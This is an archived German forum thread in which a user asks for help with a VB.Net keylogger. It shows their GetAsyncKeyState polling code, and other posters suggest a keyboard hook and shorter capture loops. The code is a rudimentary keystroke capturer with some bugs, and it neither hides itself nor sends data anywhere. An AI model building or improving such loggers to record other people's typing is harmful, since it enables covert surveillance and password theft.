PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [Help][Vb.Net] Keylogger..



NavanBethrax
23.12.2010, 13:33
Ich brauche Hilfe also ich habe mir einen Keylogger gecodet nur ich habe da ein Kleines Problem der Keylogger kann nicht damit Umgehen wenn man schnell Tippt. Das liegt glaube ich darann das ich alle If abfragen in einen Timer gepackt habe.

Aber ich weiß nicht wie ich es sonst machen sollte.
Hier mal mein beispiel Code.



Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 0 To 255
If GetAsyncKeyState(i) = -32767 Then
Zahl = i
End If
Next

If Zahl = 65 And My.Computer.Keyboard.CapsLock Or Zahl = 65 And My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "A"
ElseIf Zahl = 65 Then
TextBox1.Text = TextBox1.Text + "a"
ElseIf Zahl = 66 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "B"
ElseIf Zahl = 66 Then
TextBox1.Text = TextBox1.Text + "b"

....


ElseIf Zahl = 90 And My.Computer.Keyboard.CapsLock Or Zahl = 66 And My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "Z"
ElseIf Zahl = 90 Then
TextBox1.Text = TextBox1.Text + "z"

End If




Hatte es auch schonmal anders.
Da sah es so aus.


For f = 1 To 255
If GetAsyncKeyState(65) = -32767 Then
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
TextBox1.Text = TextBox1.Text + "A"
Else
TextBox1.Text = TextBox1.Text + "a"
End If
End If
Next

Dies habe ich dann für jeden Buchstaben gemacht und immer 3 in einen Timer gesteckt. Aber das hat Irgendwann auch nichtmehr Funktioniert.

Aber besser als das obere.

MfG Navan

DarkFire
23.12.2010, 13:37
Select Case + Threading.

krusty
23.12.2010, 14:06
naja, kommt immer auf den rechner an. verwende nen keyboardhook, da bist auf er sicheren seite.

Joe Cock
23.12.2010, 14:09
Select Case + Threading.
chr() oder wie das heisst wäre zu einfach

NavanBethrax
23.12.2010, 15:18
Wenn ihr mir eure vorschläge ein wenig erläutern könntet wär das nett.

Ja das mit Case habe ich schon versucht aber bin da ned so weit gekommen i-wo hat sich da dann ein Fehler eingeschlichen und er hat Permanent geloggt weil es da i-wie zu schnell ging.

oke da hatte ich auch


Dim Key as Integer = 0
Dim Caps as Boolean = False
Und in dem Timer hatte ich

For i = 0 To 255
If GetAsyncKeyState(i) - 32767 Then
Zahl = i
End If
Nextund


If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
Caps = True
Else
Caps = False
End If

Mein Case befehl war auch im Timer und war ungefähr


Select Case Zahl
Case 65
Textbox1.Text = Textbox1.Text + "a"
Case 65 And Caps = True
Textbox1.Text = Textbox1.Text + "A"

inout
23.12.2010, 15:47
Wenn ihr mir eure vorschläge ein wenig erläutern könntet wär das nett.


For i As Integer = 0 To 255
If GetAsyncKeyState(i) = -32767 Then
TextBox1.AppendText(Chr(i))
Exit For
End If
Next

NavanBethrax
23.12.2010, 15:50
For i As Integer = 0 To 255
If GetAsyncKeyState(i) = -32767 Then
TextBox1.AppendText(Chr(i))
Exit For
End If
Next


War da nicht irgend was das das Programm wenn man nicht jede Taste selbst eingibt das er manchmal komische Tasten ausgibt. Und bei deinem Beispiel beachtet er doch auch keine groß und klein schreibung oder ??

inout
23.12.2010, 15:56
Natürlich gibt es auch nicht druckbare Zeichen. Die kannst du ggf. vorher filtern.
Der Code sollte dir nur zeigen, dass du dafür keine ewig langen if oder case Abfragen brauchst und für die groß/klein Schreibung brauchst du nur wieder die 2 zusätzlichen Zeilen einfügen.